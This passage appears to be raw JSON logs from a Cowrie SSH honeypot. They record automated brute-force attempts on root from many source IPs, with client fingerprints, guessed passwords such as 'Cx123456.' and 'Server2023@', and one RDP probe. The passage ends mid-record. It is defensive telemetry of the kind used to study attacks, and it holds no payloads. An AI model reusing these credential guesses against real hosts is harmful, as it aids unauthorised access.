{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:26.734894Z","src_ip":"103.149.170.125","session":"aab370637405","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:26.999782Z","src_ip":"103.149.170.125","session":"aab370637405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345t","message":"login attempt [root/12345t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:27.785513Z","src_ip":"103.149.170.125","session":"aab370637405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:29.056414Z","src_ip":"103.149.170.125","session":"aab370637405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.79.29.108","src_port":55588,"dst_ip":"159.203.135.109","dst_port":22,"session":"b8626d098d12","protocol":"ssh","message":"New connection: 202.79.29.108:55588 (159.203.135.109:22) [session: b8626d098d12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:53.524297Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:53.528957Z","src_ip":"202.79.29.108","session":"b8626d098d12","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:53.790654Z","src_ip":"202.79.29.108","session":"b8626d098d12","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Cx123456.","message":"login attempt [root/Cx123456.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:54.869179Z","src_ip":"202.79.29.108","session":"b8626d098d12","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:44:56.132912Z","src_ip":"202.79.29.108","session":"b8626d098d12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.172.54.111","src_port":56432,"dst_ip":"159.203.135.109","dst_port":22,"session":"340c6f7ed296","protocol":"ssh","message":"New connection: 109.172.54.111:56432 (159.203.135.109:22) [session: 340c6f7ed296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:04.279133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:04.293083Z","src_ip":"109.172.54.111","session":"340c6f7ed296","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:04.401868Z","src_ip":"109.172.54.111","session":"340c6f7ed296","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"l","message":"login attempt [root/l] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:04.712025Z","src_ip":"109.172.54.111","session":"340c6f7ed296","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:05.815764Z","src_ip":"109.172.54.111","session":"340c6f7ed296","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":46864,"dst_ip":"159.203.135.109","dst_port":22,"session":"a462443eed8f","protocol":"ssh","message":"New connection: 72.17.34.38:46864 (159.203.135.109:22) [session: a462443eed8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:07.116718Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:07.121810Z","src_ip":"72.17.34.38","session":"a462443eed8f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:07.157554Z","src_ip":"72.17.34.38","session":"a462443eed8f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaqxswcde123","message":"login attempt [root/zaqxswcde123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:07.333601Z","src_ip":"72.17.34.38","session":"a462443eed8f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:08.373329Z","src_ip":"72.17.34.38","session":"a462443eed8f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.130.31.151","src_port":44258,"dst_ip":"159.203.135.109","dst_port":22,"session":"2d009ddc68ee","protocol":"ssh","message":"New connection: 43.130.31.151:44258 (159.203.135.109:22) [session: 2d009ddc68ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:11.134447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:11.140694Z","src_ip":"43.130.31.151","session":"2d009ddc68ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:11.216705Z","src_ip":"43.130.31.151","session":"2d009ddc68ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vj","message":"login attempt [root/vj] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:11.519018Z","src_ip":"43.130.31.151","session":"2d009ddc68ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:12.595077Z","src_ip":"43.130.31.151","session":"2d009ddc68ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.99.184.143","src_port":43194,"dst_ip":"159.203.135.109","dst_port":22,"session":"21043f5ed163","protocol":"ssh","message":"New connection: 209.99.184.143:43194 (159.203.135.109:22) [session: 21043f5ed163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:16.568567Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:16.572931Z","src_ip":"209.99.184.143","session":"21043f5ed163","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:16.670839Z","src_ip":"209.99.184.143","session":"21043f5ed163","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Server2023@","message":"login attempt [root/Server2023@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:17.072597Z","src_ip":"209.99.184.143","session":"21043f5ed163","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:18.168254Z","src_ip":"209.99.184.143","session":"21043f5ed163","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65203,"dst_ip":"10.17.0.5","dst_port":22,"session":"139fc9ef9fb8","protocol":"ssh","message":"New connection: 152.42.212.128:65203 (10.17.0.5:22) [session: 139fc9ef9fb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:22.920803Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:22.926230Z","src_ip":"152.42.212.128","session":"139fc9ef9fb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:22.930297Z","src_ip":"152.42.212.128","session":"139fc9ef9fb8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.172.78.219","src_port":40868,"dst_ip":"10.17.0.5","dst_port":22,"session":"c13a582afc4e","protocol":"ssh","message":"New connection: 103.172.78.219:40868 (10.17.0.5:22) [session: c13a582afc4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:29.834269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:29.839718Z","src_ip":"103.172.78.219","session":"c13a582afc4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:30.103615Z","src_ip":"103.172.78.219","session":"c13a582afc4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nicole","message":"login attempt [root/nicole] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:30.896339Z","src_ip":"103.172.78.219","session":"c13a582afc4e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:32.166138Z","src_ip":"103.172.78.219","session":"c13a582afc4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":43270,"dst_ip":"10.17.0.5","dst_port":22,"session":"f82b1d612cad","protocol":"ssh","message":"New connection: 103.27.238.114:43270 (10.17.0.5:22) [session: f82b1d612cad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:41.853439Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:41.858589Z","src_ip":"103.27.238.114","session":"f82b1d612cad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":57634,"dst_ip":"159.203.135.109","dst_port":22,"session":"469f59414095","protocol":"ssh","message":"New connection: 80.66.85.226:57634 (159.203.135.109:22) [session: 469f59414095]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:42.114944Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:42.120197Z","src_ip":"80.66.85.226","session":"469f59414095","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T10:45:42.128886Z","src_ip":"103.27.238.114","session":"f82b1d612cad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v